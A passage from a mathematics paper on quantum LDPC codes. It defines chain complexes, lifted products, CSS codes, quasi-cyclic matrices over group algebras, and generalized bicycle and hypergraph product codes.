By a~\emph{chain complex over a~commutative ring~$R$} we mean a~free $R$-module $\mathcal{C} = \bigoplus_{i\in \mathbb{Z}} \mathcal{C}_i$ with an~$R$-linear map $\partial\colon\mathcal{C} \to\mathcal{C}$ called a~\emph{boundary map} such that $\partial^2 = 0$, and $\partial(\mathcal{C}_i) \subseteq \mathcal{C}_{i-1}$. We suppose that each free $R$-module $\mathcal{C}_i$ has finite rank, and $\mathcal{C}_i = 0$ when $i < 0$ or $i > n$, where the parameter $n$ is called the~\emph{dimension} of $\mathcal{C}$. We also assume that each $\mathcal{C}_i$ comes with some preferred basis $\tilde{\mathcal{C}}_i\subseteq \mathcal{C}_i$, and we call its elements \emph{$i$-cells}. An~$n$-dimensional chain complex $\mathcal{C}$ is usually written as
\[\mathcal{C}_n \xrightarrow{\partial_{n}} \mathcal{C}_{n-1} \xrightarrow{\partial_{n-1}} \cdots \xrightarrow{\partial_{2}} \mathcal{C}_1 \xrightarrow{\partial_{1}} \mathcal{C}_0, \]
where $\partial_i = \partial|_{\mathcal{C}_i}$, $i = 1,\dots,n$.
The lifted product of two chain complexes is obtained in a~similar way as for codes. We just consider the~standard tensor product $\mathcal{A} \otimes \mathcal{B}$ of chain complexes $\mathcal{A}$, $\mathcal{B}$ over a~commutative\footnote{For simplicity we define here the~lifted product only for commutative rings, though it may be easily extended to any ring $R$ if we consider a~tensor product $\mathcal{A}\otimes\mathcal{B}$ of a~free right $R$-module $\mathcal{A}$ and a~free left $R$-module $\mathcal{B}$.} ring~$R$ with boundary maps $\partial_{\mathcal{A}}$, $\partial_{\mathcal{B}}$, respectively. Thus if $R$ is in turn an~$\ell$-dimensional $\mathbb{F}_2$-algebra with some fixed basis\footnote{ For example, for $R_\ell$ the standard basis is $\tilde{R}_\ell = \{1,x,\dots,x^{\ell-1}\}$; for $\mathbb{F}_2G$ the~standard basis is $G$.} \[\tilde{R} = \{r_1,\dots,r_\ell\}\subseteq R,\]
then the~boundary map~$\partial = \partial_{\mathcal{A}}\otimes\mathrm{id}_\mathcal{B} + \mathrm{id}_\mathcal{A}\otimes\partial_{\mathcal{B}}$ of $\mathcal{A} \otimes \mathcal{B}$ is an~\mbox{$R$-linear} map, and hence \mbox{an~$\mathbb{F}_2$-linear} map. Therefore we can consider ${\mathcal{A} \otimes \mathcal{B}}$ also as a~chain complex over~$\mathbb{F}_2$, which we call the~\emph{lifted product} of the~chain complexes $\mathcal{A}$ and $\mathcal{B}$, and denote by $\mathcal{A} \otimes_R \mathcal{B}$ in order to emphasize the role of $R$. When $R=R_\ell$ we use a~shorter notation $\mathcal{A} \otimes_\ell \mathcal{B}$. \mbox{The~$n$-cells} of the~obtained chain complex $\mathcal{A} \otimes_R \mathcal{B}$ take the~form: $r a^{(i)} \otimes b^{(j)}$; where $r\in\tilde{R}$, $a^{(i)}$ is an~$i$-cell from $\tilde{\mathcal{A}}_i$, $b^{(j)}$ is a~$j$-cell from~$\tilde{\mathcal{B}}_j$, and $i+j = n$.
Note that any~matrix over an~$\ell$-dimensional $\mathbb{F}_2$-algebra~$R$ defines some binary linear code as its parity-check matrix\footnote{Any $m\times n$ matrix over $R$ can be also considered as an~$\ell m\times \ell n$ binary block matrix (see Section~\ref{sc:lp}).}. For example, any matrix over $R_\ell$ defines a~quasi-cyclic code. Any such linear code can be identified with the~corresponding \mbox{$1$-dimensional} chain complex $\mathcal{C}_1\xrightarrow{\partial_{1}} \mathcal{C}_0$ such that $A$ is a matrix of the $R$-linear map $\partial_1$.
Let $\mathcal{A}$, $\mathcal{B}$ be $1$-dimensional chain complexes over $R$ that correspond to the classical codes with parity-check matrices $A$, $B$ over $R$, respectively. Then it is not hard to see that the~CSS code~$\mathrm{LP}(A,B)$ defined in Section~\ref{sc:lp} corresponds to the~$2$-dimensional chain complex $\mathcal{A} \otimes_R \mathcal{B}$.
The remainder of the paper is structured as follows. \mbox{Section~\ref{sc:def}} contains some standard definitions and notations related to codes. In~Section~\ref{sc:lp} we give the definition of lifted product codes, where we also demonstrate that they contain many well-known QLDPC codes. Expanders are described in Section~\ref{sc:expanders}. Then we proceed with the proof of Theorem~\ref{th:main1} in Section~\ref{sc:lp-linear-dist}, and in the~last section, we give some final remarks. The paper also contains three appendices, where we describe some well-known facts on the ring~$R_\ell$ (Appendix~\ref{sc:circulants}), study the decomposition of quasi-abelian LP~codes when the lift size is~odd (Appendix\footnote{Our main results do not rely on this supplementary material.}~\ref{sc:LP-decomp}), and give the~list of frequently used symbols and abbreviations (Appendix~\ref{sc:symbols}).
\section{Basic facts and definitions}\label{sc:def}
Here we fix notations and briefly recall some standard definitions related to classical and quantum codes. More information can be found in a~survey~\cite{Babar:2015}.
In what follows, we assume that the reader is familiar with the standard algebraic objects like rings, fields, vector spaces, and modules (see~\cite{Dummit&Foote:2003} for a good reference).
In this paper, it is convenient to consider vectors over a~field or a~ring as column vectors. Hence the~matrix-vector product is written as $Av$ instead of $A v^\mathrm{T}$. Besides, we denote by $\ker A$ and $\im A$ the~\emph{kernel} and the~\emph{image} of the~corresponding linear operator $v\mapsto A v$, respectively. Note that $\im A$ coincides with the~\emph{column space} of the~matrix~$A$.
In~many places we use the standard notation $[n] = \{1,2,\dots,n\}$, where $n$ is a natural number. If $x,y$ are two binary vectors of length~$n$, then we denote by $x\cap y$ their~\emph{intersection}, i.e., the~vector~$x\cap y = (x_1y_1,\dots, x_n y_n)$. We say that an event $A_n$ occurs \emph{with high probability} (w.h.p) if $\mathbf{P}(A_n) \to 1$ as $n\to\infty$.
Please, refer to Appendix~\ref{sc:symbols} for the list of symbols and abbreviations frequently used in our work.
\subsection{Classical codes}
Consider a finite field\footnote{In this paper we consider only finite fields of characteristic $2$, but most of the results are valid for arbitrary finite fields.} $\mathbb{F}_q$ and an~\mbox{$n$-dimensional} vector space~$\mathbb{F}_q^n$ over~$\mathbb{F}_q$. A~\emph{linear $[n,k]_q$ code} is a~$k$-dimensional subspace $\mathcal{C}\subseteq \mathbb{F}_q^n$, where the parameters~$n$ and $k$ are called the~\emph{length} and the~\emph{dimension} of $\mathcal{C}$, respectively. We denote the~dimension $k$ of the~code~$\mathcal{C}$ by $\dim \mathcal{C}$. The~\emph{rate} of the~code~$\mathcal{C}$ is equal to $k/n$.
The~elements of $\mathcal{C}$ are called \emph{codewords}. \mbox{The~\emph{Hamming distance} $d(v, v')$} between vectors $v,v'\in \mathbb{F}_q^n$ is the number of positions in which they differ. The parameter
\[d(\mathcal{C}) = \min \{d(c, c') \mid c\ne c'; \ c, c'\in \mathcal{C}\}\]
is called the \emph{minimal distance} of $\mathcal{C}$. By definition, we put~$d(\mathcal{C})=\infty$ when $k=0$. It is easy to see that $d(\mathcal{C})$ is equal to the minimal weight $\abs{c}$ of non-zero codewords, where the~\emph{weight~$\abs{c}$} is the number of non-zero components in~$c$. When $d(\mathcal{C})=d$ for a linear $[n,k]_q$ code $\mathcal{C}$, we say that $\mathcal{C}$ is an~$[n,k,d]_q$ code.
A~linear $[n, k]_q$ code is usually defined either as the row space of a matrix $G$ called the \emph{generator matrix} or as the~kernel of a matrix $H$ called the \emph{parity-check matrix}. It~is easy to see that $GH^\mathrm{T}=\mathbf{0}$, $\rk G = k$, and $\rk H = n-k$. The~code defined by a~parity-check matrix $H$ is denoted by~$\mathcal{C}(H)$.
The vector space~$\mathbb{F}_2^n$ usually comes with the~standard scalar product $\langle x, y\rangle = x_1 y_1 + \dots + x_n y_n$. The \emph{dual code}~$\mathcal{C}^\perp$ for a~linear $[n,k]_q$ code $\mathcal{C}$ is the $[n,n-k]_q$ code
\[
\mathcal{C}^\perp = \{ x \in \mathbb{F}_q^n \mid \langle x, y \rangle = 0 \text{ for all }y\in\mathcal{C} \}.
\]
It is not hard to see that a generator matrix for $\mathcal{C}$ is a parity-matrix for $\mathcal{C}^\perp$ and vice versa.
Let $\pi\in \mathbf{S}_n$ be a permutation on the set~$[n]$. Given a~vector $v = (v_1,\dots, v_n)$, we denote by $\pi(v)$ the permuted vector $(v_{\pi(1)},\dots,v_{\pi(n)})$. We also extend this notation to sets of vectors of length~$n$ in a straightforward way:
\[\pi(S) = \{\pi(v) \mid v\in S \}.\]
We say that two codes $\mathcal{C},\mathcal{C}'\subseteq\mathbb{F}_q^n$ are (\emph{permutation}) \emph{equivalent} and write ${\mathcal{C} \sim \mathcal{C}'}$ if $\mathcal{C}' = \pi(\mathcal{C})$ for some $\pi\in\mathbf{S}_n$. It is clear that equivalent codes have the same parameters $[n,k,d]_q$.
In~this paper we mostly deal with \emph{binary linear codes}, i.e., when $q=2$. In such cases we omit $q$ and simply write $[n,k]$ or $[n,k,d]$ code.
\subsection{Quantum CSS codes}\label{sc:stab-codes}
Consider the~$2^n$-dimensional Hilbert space $\mathbb{C}^{2^n}$, where the~$2^n$ standard basis vectors are indexed by binary vectors $u\in\mathbb{F}_2^n$ and denoted by $\ket{u}$. The space $\mathbb{C}^{2^n} = (\mathbb{C}^2)^{\otimes n}$ is usually called the \emph{$n$-qubit space}, where each component in the tensor product corresponds to one \emph{qubit}.
A \emph{quantum code} $\mathcal{Q}$ of \emph{length~$n$} and \emph{dimension~$k$} is \mbox{a~$2^k$-dimensional} subspace of~$\mathbb{C}^{2^n}$. As in the classical case, we denote the dimension $k$ of the quantum code by $\dim\mathcal{Q}$. In~\cite{CSS:1996, CSS2:1996} a~very important subclass of quantum codes called the~\emph{Calderbank-Shor-Steane (CSS) codes}, which is related to classical linear codes, was introduced. A~quantum \emph{CSS $[[n, k]]$ code}~$\mathcal{Q}$ of length $n$ and dimension $k$ is defined by two classical linear codes $\mathcal{C}_{\mathrm{Z}}, \mathcal{C}_{\mathrm{X}}\subseteq \mathbb{F}_2^n$ such that $\mathcal{C}_{\mathrm{X}}^\perp \subseteq \mathcal{C}_{\mathrm{Z}}$ and $k = \dim \mathcal{C}_{\mathrm{Z}} / \mathcal{C}_{\mathrm{X}}^\perp$ in the following way:
\[\mathcal{Q} = \spn_{\mathbb{C}} \bigl\{\textstyle \sum_{x \in \mathcal{C}_{\mathrm{X}}^\perp} \ket{z + x} \mid z \in \mathcal{C}_{\mathrm{Z}} \bigr\}. \]
It is easy to see that the property $\mathcal{C}_{\mathrm{X}}^\perp \subseteq \mathcal{C}_{\mathrm{Z}}$ is equivalent to $\mathcal{C}_{\mathrm{Z}}^\perp \subseteq \mathcal{C}_{\mathrm{X}}$. Moreover, if~$H_{\mathrm{X}}$ is a parity-check matrix of~$\mathcal{C}_{\mathrm{Z}}$, $H_{\mathrm{Z}}$ is the parity-check matrix of~$\mathcal{C}_{\mathrm{X}}$; then this property can be expressed as the following \emph{orthogonality condition}:
\begin{equation}\label{eq:comm-cond-CSS}
H_{\mathrm{X}} H_{\mathrm{Z}}^\mathrm{T} = \mathbf{0}.
\end{equation}
Hence in order to define a~CSS code, we need two parity-check matrices $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$ such that \emph{every row of $H_{\mathrm{X}}$ is orthogonal to every row of $H_{\mathrm{Z}}$}.
The dimension $k = \dim \mathcal{Q}$ of the obtained quantum code~$\mathcal{Q}$ is given by
\begin{equation}\label{eq:CSS-dim}
k = n - \rk H_{\mathrm{X}} - \rk H_{\mathrm{Z}},
\end{equation}
since $k = \dim \mathcal{C}_{\mathrm{Z}} / \mathcal{C}_{\mathrm{X}}^\perp$.
Given a~quantum~CSS code $\mathcal{Q}$, we call the~codewords from the codes ${\mathcal{C}_{\mathrm{Z}}=\mathcal{C}_{\mathrm{Z}}(Q)}$ and~${\mathcal{C}_{\mathrm{X}}=\mathcal{C}_{\mathrm{X}}(Q)}$ the~\mbox{\emph{Z-codewords}} and \mbox{\emph{X-codewords}} of~$\mathcal{Q}$, respectively. Furthermore, the~\mbox{Z-codewords} from $\mathcal{C}_{\mathrm{X}}^\perp$ and the X-codewords from $\mathcal{C}_{\mathrm{Z}}^\perp$ are called \emph{degenerate}. This name can be explained if we interpret the~codewords from $\mathcal{C}_{\mathrm{Z}}$ and $\mathcal{C}_{\mathrm{X}}$ as undetected errors in a quantum system protected by the quantum code~$\mathcal{Q}$. It can be shown that the~degenerate errors are precisely the~ones that don't change the state of the system. Therefore it makes sense to consider the~quotient spaces $\mathcal{C}_{\mathrm{Z}}/\mathcal{C}_{\mathrm{X}}^\perp$, $\mathcal{C}_{\mathrm{X}}/\mathcal{C}_{\mathrm{Z}}^\perp$ instead of $\mathcal{C}_{\mathrm{Z}}$, $\mathcal{C}_{\mathrm{X}}$. We say that codewords~$c,c'$ from the same equivalence class in these quotient spaces are \emph{equivalent} and denote this fact by $c \sim c'$. It is obvious that a~codeword $c$ is degenerate iff $c\sim \mathbf{0}$, where $\mathbf{0}$~is the zero vector.
Let us note that the~degenerate codewords correspond to the~\emph{stabilizers} of the~quantum code~$\mathcal{Q}$; while the~quotient spaces $\mathcal{C}_{\mathrm{Z}}/\mathcal{C}_{\mathrm{X}}^\perp$, $\mathcal{C}_{\mathrm{X}}/\mathcal{C}_{\mathrm{Z}}^\perp$ correspond to the~\emph{logical operators}, acting on the~quantum states protected by~$\mathcal{Q}$.
Let us note that the spaces of degenerate Z-codewords $\mathcal{C}_{\mathrm{X}}^\perp$ and degenerate X-codewords $\mathcal{C}_{\mathrm{Z}}^\perp$ are generated by the rows of the parity-check matrices $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$, respectively. Hence the difference $c - c'$ of two equivalent codewords is always a linear combination of the rows from the corresponding parity-check matrix.
Since CSS codes have two types of codewords, they also have two types of minimum distances:
\begin{equation*}
d_{\mathrm{Z}}(\mathcal{Q}) = \min_{z\in \mathcal{C}_{\mathrm{Z}}\setminus\mathcal{C}_{\mathrm{X}}^\perp} \abs{z}, \quad
d_{\mathrm{X}}(\mathcal{Q}) = \min_{x\in \mathcal{C}_{\mathrm{X}}\setminus\mathcal{C}_{\mathrm{Z}}^\perp} \abs{x}.
\end{equation*}
The minimum of these distances
\[
d(\mathcal{Q}) = \min\{d_{\mathrm{Z}}(\mathcal{Q}),d_{\mathrm{X}}(\mathcal{Q})\}
\]
is called the \emph{minimum distance} of $\mathcal{Q}$. As in the case of the~classical codes, we say that a~quantum CSS~$[[n, k]]$ code is an~$[[n,k,d]]$ code if $d(\mathcal{Q})=d$.
As in the case of classical codes, we also say that two CSS codes $\mathcal{Q},\mathcal{Q}'$ of length $n$ are (\emph{permutation}) \emph{equivalent} and write $\mathcal{Q}\sim \mathcal{Q}'$ if $\mathcal{C}_{\mathrm{Z}}(\mathcal{Q}) = \pi(\mathcal{C}_{\mathrm{Z}}(\mathcal{Q}'))$ and $\mathcal{C}_{\mathrm{X}}(\mathcal{Q}) = \pi(\mathcal{C}_{\mathrm{X}}(\mathcal{Q}'))$ for some $\pi\in\mathbf{S}_n$.
It is clear that equivalent codes have the same parameters $[[n,k,d]]$, and, moreover, we see that ${d_{\mathrm{Z}}(\mathcal{Q}) = d_{\mathrm{Z}}(\mathcal{Q}')}$, ${d_{\mathrm{X}}(\mathcal{Q}) = d_{\mathrm{X}}(\mathcal{Q}')}$. For any CSS code $\mathcal{Q}$ we can also define the CSS code $\mathcal{Q}^*$ with $\mathcal{C}_{\mathrm{Z}}(\mathcal{Q}^*) := \mathcal{C}_{\mathrm{X}}(\mathcal{Q})$ and $\mathcal{C}_{\mathrm{X}}(\mathcal{Q}^*) := \mathcal{C}_{\mathrm{Z}}(\mathcal{Q})$. It is obvious that:
\begin{equation}\label{eq:dual-CSS}
d_{\mathrm{Z}}(\mathcal{Q}^*) = d_{\mathrm{X}}(\mathcal{Q}), \quad d_{\mathrm{X}}(\mathcal{Q}^*) = d_{\mathrm{Z}}(\mathcal{Q}).
\end{equation}
The CSS codes defined so far are binary quantum codes.
In~some cases, we also need \emph{non-binary CSS codes}.
They are defined by two matrices $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$ over $\mathbb{F}_q$ that satisfy equation~(\ref{eq:comm-cond-CSS}). The definitions of dimension, minimum distance, degenerate codewords, equivalent codewords are obtained from the corresponding definitions for binary CSS codes if we replace $\mathbb{F}_2$ by $\mathbb{F}_q$.
\subsection{Classical and quantum LDPC codes}
A classical \emph{low density parity check (LDPC) code}~\cite{gallager1963} is a linear code defined by a sparse binary parity-check matrix $H=\left(h_{i j}\right)_{m\times n}$. The sparseness usually means that the weights of all rows and columns in $H$ are upper bounded by some constant $w$ as the code length $n$ grows to infinity. It is helpful to define the~bipartite graph $\mathcal{T}=\mathcal{T}(H)$ called the \emph{Tanner graph}~\cite{Tanner1981}. In this graph the first part of nodes $v_1,\dots,v_n$ (called the \emph{v-nodes}) corresponds to the columns of $H$ (the variables), the second part of nodes $c_1,\dots,c_m$ (called the \mbox{\emph{c-nodes}}) corresponds to the rows of $H$ (the checks), and we connect a v-node $v_j$ with with a c-note $c_i$ whenever $h_{i j} = 1$, $i\in[m]$, $j\in [n]$.
If the parity-check matrix $H$ is \emph{$(w_c, w_r)$-regular} (i.e., each column has weight $w_c$ and each row has weight $w_r$) then the corresponding Tanner graph is also \emph{$(w_c, w_r)$-regular} (i.e., each v-node has degree $w_c$ and each c-node has degree $w_r$). We say that an LDPC code is \emph{$w$-limited} if the degree of each node in its Tanner graph is upper bounded by $w$. It is obvious that any LDPC code with $(w_c, w_r)$-regular parity-check matrix is $\max(w_c, w_r)$-limited.
In this paper by a \emph{quantum LDPC (QLDPC)} we mean a CSS $[[n, k, d]]$ code with sparse parity-check matrices $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$.
We can also introduce the~Tanner graph $\mathcal{T}=\mathcal{T}(H_{\mathrm{X}},H_{\mathrm{Z}})$ for any CSS $[[n, k, d]]$ code~$\mathcal{Q}$ defined by $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$. In this case, the v-nodes correspond to $n$~qubits and the c-nodes to the rows of $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$ called the \emph{X-checks} and \emph{Z-checks}, respectively. We connect a v-node with a c-node if the corresponding qubit participates in the corresponding check.
Similar to the classic case we say that a QLDPC code is \emph{$w$-limited} if the degree of each node in its Tanner graph is upper bounded by $w$. This property is much more important in the quantum case due to the faulty nature of the current quantum hardware. It is clear that any CSS code with $(w_c, w_r)$-regular matrices $\mat{H}_X$ and $\mat{H}_Z$ is $\max(2w_c, w_r)$-limited.
\section{Lifted product}\label{sc:lp}
In this section, we give our~main definition of lifted product codes and show how it generalizes several known types of quantum codes~\cite{Tillich&Zemor:2009,Kovalev&Pryadko:HBP:2013,Haah:2011,Hagiwara:2007}.
We also show how to estimate the~dimension of our codes in some important special cases, and give several examples. Finally, in~Subsection~\ref{sc:GHP}, we consider a~more specific case of our codes, first defined in~\cite{Panteleev&Kalachev:2019}, and show how to find the~dimension. Later, in Section~\ref{sc:lp-linear-dist}, we will use this special case to construct quantum LDPC with almost linear distance.
Before we move to the~description of our codes, we need some standard definitions and notations from algebra.
Let $R$ be a ring. We denote the set of all $m\times n$ matrices over~$R$ by $\Mat_{m\times n}(R)$ or by $\Mat_{n}(R)$ in the case $m=n$.
Consider a~field $\mathbb{F}$. In what follows by an~\emph{$\mathbb{F}$-algebra} we always mean \mbox{an~associative} algebra with a~multiplicative identity. It is well known~\cite[Theorem~1.3.1]{Drozd:1994} that every such algebra has a~faithful representation by $\ell\times\ell$ matrices over~$\mathbb{F}$, and for any element~$a\in R$ we denote by $\mathbb{B}(a)$ the~corresponding $\ell\times\ell$ matrix over~$\mathbb{F}$. In the cases when $R$ is already a matrix ring over~$\mathbb{F}$ we assume that $\mathbb{B}(a) = a$.
Moreover, if $A=(a_{i j})_{m\times n}$ is a matrix over~$R$, then we consider the~corresponding block matrix \[
\mathbb{B}(A) = [\mathbb{B}(a_{i j})]_{m\times n}\in\Mat_{\ell m\times \ell n}(\mathbb{F}).
\]
It is easy to see that for any matrices $A$, $B$ over $R$ we have:
\begin{equation}\label{eq:block}
\begin{split}
\mathbb{B}(A B) &= \mathbb{B}(A)\mathbb{B}(B);
\end{split}
\end{equation}
In this work we are mostly interested in the case when $R$ is a group algebra $\mathbb{F}_2G$ for some finite group~$G$. The~elements of $\mathbb{F}_2G$ are formal sums $\sum_{g\in G} \alpha_g g$, where $\alpha_g\in\mathbb{F}_2$. Consider elements $a=\sum_{g\in G}\alpha_g g$ and $b=\sum_{g\in G}\beta_g g$ from $\mathbb{F}_2 G$. Their sum $a+b$ and product $ab$ are defined as follows:
\[a+b = \sum_{g\in G} (\alpha_g + \beta_g) g, \quad ab = \sum_{g\in G}\bigg(\sum_{\substack{hr=g\\h,r\in G}}\alpha_h\beta_r\bigg) g.\]
If we index the~elements of the~group~$G=\{g_1,\dots,g_\ell\}$, then for every element $a=\sum_{g\in G}\alpha_g g\in \mathbb{F}_2 G$ we define
\begin{align*}
\mathbbm{b}(a) &= (\alpha_{g_1},\dots,\alpha_{g_\ell})\in \mathbb{F}_2^\ell; \\
\mathbb{B}(a) &= \sum_{g\in G} \alpha_g\mathbb{B}(g),
\end{align*}
where $\mathbb{B}(g)$ is the~permutation $\ell\times\ell$~matrix, defined as follows:
\[
\mathbb{B}(g)_{i j} = \begin{cases}
1, & \text{ if } g_i = g g_j ;\\
0, & \text{ otherwise}.
\end{cases}
\]
For every vector $v\in (\mathbb{F}_2G)^n$ we also consider the~block vector
$\mathbbm{b}(v) = [\mathbbm{b}(v_1),\dots,\mathbbm{b}(v_n)]\in\mathbb{F}_2^{\ell n}$.
It is not hard to see that for any $a\in \mathbb{F}_2 G$ the~weight of each row and each column of the~binary matrix~$\mathbb{B}(a)$ is the~same and equal to $\abs{\mathbbm{b}(a)}$.
Thus the~row and column weights of the~block matrix $\mathbb{B}(A)$, where $A=(a_{i j})_{m\times n}$ is a matrix over $\mathbb{F}_2 G$, can be easily found from the~corresponding \emph{weight matrix} (also called the~\emph{base matrix}) $W = W(A) = (w_{i j})_{m\times n}$, where $w_{i j} = \abs{\mathbbm{b}(a_{i j})}$. For example, $\mathbb{B}(A)$ is $w$-limited iff the~sum of elements of any row and column in $W$ is bounded above by $w$.
The matrix $W$ can be interpreted as the adjacency matrix for the~base Tanner graph $\mathcal{T}$ that was used to obtain the~$G$-lifted Tanner graph $\hat{\mathcal{T}}$ for the code $\mathcal{C}(A)$ with the~parity-check matrix $\mathbb{B}(A)$, where $w_{i j}$ is equal to the number of edges between nodes $v_i$ and $v_j$ in the base Tanner graph~$\mathcal{T}$.
Sometimes, where it does not cause confusion, we identify matrices and vectors over $R=\mathbb{F}_2 G$ with the~corresponding block matrices $\mathbb{B}(\cdot)$ and vectors $\mathbbm{b}(\cdot)$ over $\mathbb{F}_2$. For example, if we say that $A$ is $w$-limited, then it means that $\mathbb{B}(A)$ is \mbox{$w$-limited}. For~any vector $v\in R^n$ we denote by $\abs{v}$ the~Hamming weight $\abs{\mathbbm{b}(v)}$ of the corresponding block vector $\mathbbm{b}(v)\in\mathbb{F}_2^n$. We also often implicitly use the~following trivial equality:
\begin{equation}\label{eq:block-vec}
\begin{split}
\mathbbm{b}(Av) &= \mathbb{B}(A)\mathbbm{b}(v);
\end{split}
\end{equation}
where $v$ is a vector, and $A$ is a matrix over~$\mathbb{F}_2G$.
If $H$ is a~matrix over $R=\mathbb{F}_2 G$ where $\abs{G}=\ell$, then by $\mathcal{C}(H)$ we denote the set
\[
\mathcal{C}(H) = \{c\in R^n \mid Hc = \mathbf{0}\}.
\]
It is clear that the set~$\mathcal{C}(H)$ is also a vector space over $\mathbb{F}_2$, and from~(\ref{eq:block-vec}) we see that it corresponds to the binary linear code $\mathcal{C}(\mathbb{B}(H))\subseteq \mathbb{F}_2^{\ell n}$ defined by the binary block matrix $\mathbb{B}(H)$.
Let us note that if $G$ is abelian then $\mathbb{F}_2G$ is a~commutative ring.
Specifically, if $G$ is a~\emph{cyclic group~$\mathbf{C}_\ell$} of order $\ell$ generated by $x$, then $\mathbb{F}_2\mathbf{C}_\ell$ is isomorphic as a ring to the polynomial quotient ring $\mathbb{F}_2[x]/(x^\ell - 1)$.
We~denote this ring by $R_\ell$ and usually represent its elements by polynomials in $x$. If we index the~elements of the group~$\mathbf{C}_\ell$ as $g_i = x^{i-1}$, $i\in [\ell]$, then the~set of binary matrices $\mathbb{B}(a)$ where $a\in R_\ell$ is the~ring of circulant $\ell\times\ell$ matrices over $\mathbb{F}_2$. More details on $R_\ell$ can be found in Appendix~\ref{sc:circulants}.
In this paper, with some~small abuse of terminology, \mbox{a~matrix} $A$ over $R_\ell$ and the~corresponding binary block matrix $\mathbb{B}(A)$ are called \emph{quasi-cyclic (QC)} of \mbox{\emph{lift size~$\ell$}} (also called the~\emph{circulant size}). Thus every~$\ell m\times \ell n$ binary QC~matrix of lift size~$\ell$ can be represented by some polynomial matrix $A\in\Mat_{m\times n}(R_\ell)$. The~class of QC~matrices is well known in coding theory since they are the parity-check matrices of \emph{quasi-cyclic} codes. At~the~same time, if $G$ is a~finite abelian group, then \mbox{matrices} over $\mathbb{F}_2 G$ and the corresponding binary classical error-correcting codes are called \emph{quasi-abelian}. Note that most of the~best practical classical LDPC codes have QC~parity-check matrices.
\begin{example}
Consider a~matrix $A\in\Mat_{2\times 3}(R_3)$ defined as follows:
\[ A =
\left(\begin{array}{rrr}
1 & 0 & 1 + x^{2} \\
1 + x & 1 + x + x^{2} & x^{2}
\end{array}\right).
\]
It has the corresponding block matrix of lift size~$\ell=3$
\[
\mathbb{B}(A) =
\left(\begin{array}{rrr|rrr|rrr}
1 & 0 & 0 & 0 & 0 & 0 & 1 & 1 & 0 \\
0 & 1 & 0 & 0 & 0 & 0 & 0 & 1 & 1 \\
0 & 0 & 1 & 0 & 0 & 0 & 1 & 0 & 1 \\
\hline
1 & 0 & 1 & 1 & 1 & 1 & 0 & 1 & 0 \\
1 & 1 & 0 & 1 & 1 & 1 & 0 & 0 & 1 \\
0 & 1 & 1 & 1 & 1 & 1 & 1 & 0 & 0
\end{array}\right),
\]
and the~corresponding integer weight matrix
\[ W(A) =
\left(\begin{array}{rrr}
1 & 0 & 2 \\
2 & 3 & 1
\end{array}\right).
\]
\end{example}
\subsection{Generalized bicycle (GB) codes}
The orthogonality condition~(\ref{eq:comm-cond-CSS}) from the~definition of CSS codes for the parity-check \mbox{matrices} $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$ is a~serious obstacle to designing good QLDPC codes using random-like constructions similar to the constructions used for classical LDPC codes. Thus it makes sense to consider large families of matrices of some particular form, where the orthogonality condition is always satisfied. One such quite general form for CSS codes was proposed in~\cite{Kovalev&Pryadko:HBP:2013}. We call these codes the~\emph{generalized bicycle~(GB)} codes since they include bicycle QLDPC codes~\cite{Mackay:2004} as a~special case. Let~us briefly remind this construction. Consider two commuting binary $\ell\times \ell$ matrices $A$ and $B$, i.e., $AB = BA$. Let us define the~parity-check matrices as follows:
\begin{equation}\label{eq:comm-ansatz}
H_{\mathrm{X}} = [A, B] \text{ and } H_{\mathrm{Z}} = [B^\mathrm{T}, A^\mathrm{T}].
\end{equation}
Then we see that $H_{\mathrm{X}} H_{\mathrm{Z}}^\mathrm{T} = AB + BA = \mathbf{0}$. Hence the~commutativity condition (\ref{eq:comm-cond-CSS}) is always satisfied, and we obtain a~CSS code.
It was proposed in~\cite{Kovalev&Pryadko:HBP:2013} to use binary circulant matrices $A$ and $B$ since they always commute. The corresponding class of codes includes the~bicycle codes from~\cite{Mackay:2004} as a special case when $B=A^\mathrm{T}$.
Furthermore, we can obtain a more general class of codes if $A$ and $B$ are some $\ell\times\ell$ matrices representing elements from a~group algebra $\mathbb{F}_2G$ for an~abelian group $G$, ${\abs{G}=\ell}$. For example, the quasi-cyclic CSS codes from~\cite{Hagiwara:2007} can be considered as GB codes with $G = \mathbf{C}_P\times \mathbf{C}_{L/2}$. At~the same time, Haah's cubic codes~\cite{Haah:2011} can also be considered as GB codes with $G=\mathbf{C}_L\times\mathbf{C}_L\times\mathbf{C}_L$, where $L$~is the lattice size.
\subsection{Hypergraph product (HP) codes}
Before we formally describe the LP codes in the next section, let us first remind the definition of \mbox{the~hypergraph} product (HP) codes from~\cite{Tillich&Zemor:2009}. Note that originally these codes were defined in terms of \mbox{hypergraphs}, but here it will be more convenient for us to give their definition in~a matrix form.
\mbox{Suppose} that we have an~$[n_A, k_A, d_A]$ linear code~$\mathcal{C}(A)$ and an~$[n_B, k_B, d_B]$ linear code~$\mathcal{C}(B)$ with parity-check \mbox{matrices}\footnote{The parity-check matrices are not necessary full rank.} ${A\in\Mat_{m_A\times n_A}(\mathbb{F}_2)}$ and ${B\in\Mat_{m_B\times n_B}(\mathbb{F}_2)}$, \mbox{respectively}. Then the \emph{hypergraph product (HP)} code is the~CSS $[[N, K, d]]$ code denoted~$\mathrm{HP}(A,B)$ with the~parity-check matrices:
\begin{equation}\label{eq:hp-ansatz}
\begin{split}
H_{\mathrm{X}} &= [A\otimes I_{m_B}, I_{m_A}\!\otimes B],\\
H_{\mathrm{Z}} &= [I_{n_A}\!\otimes B^\mathrm{T}, A^\mathrm{T}\otimes I_{n_B}],
\end{split}
\end{equation}
where the length~$N$ and the dimension~$K$ are as follows:
\begin{equation}\label{eq:HP-dim}
\begin{split}
N &= n_A m_B + n_B m_A,\\
K &= 2k_A k_B - k_A(n_B - m_B) - k_B(n_A - m_A).
\end{split}
\end{equation}
As it was shown in~\cite{Tillich&Zemor:2009}, the minimum distance~$d$ of the hypergraph product code~$\mathrm{HP}(a,b)$ satisfies the following lower bound:
\[
d \ge \min(d_A, d_B, d_A^\mathrm{T}, d_B^\mathrm{T}),
\]
